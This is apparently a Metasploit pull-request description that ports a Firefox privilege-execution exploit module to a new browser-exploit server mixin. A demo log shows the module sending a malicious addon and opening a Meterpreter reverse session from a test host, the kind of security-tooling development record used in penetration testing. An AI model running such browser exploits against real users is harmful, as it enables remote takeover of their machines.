Use BrowserExploitServer mixin for firefox_15_chrome_privilege_execution

This uses the new BrowserExploitServer mixin instead of the old HttpServer, more power to the people.

Demo:

```
msf exploit(firefox_proto_crmfrequest) > [*] 10.0.1.95        firefox_proto_crmfrequest - Gathering target information.
[*] 10.0.1.95        firefox_proto_crmfrequest - Sending HTML
[*] 10.0.1.95        firefox_proto_crmfrequest - Sending the malicious addon
[*] Sending stage (769024 bytes) to 10.0.1.95
[*] Meterpreter session 3 opened (10.0.1.76:4444 -> 10.0.1.95:3885) at 2013-12-19 01:19:25 -0600
```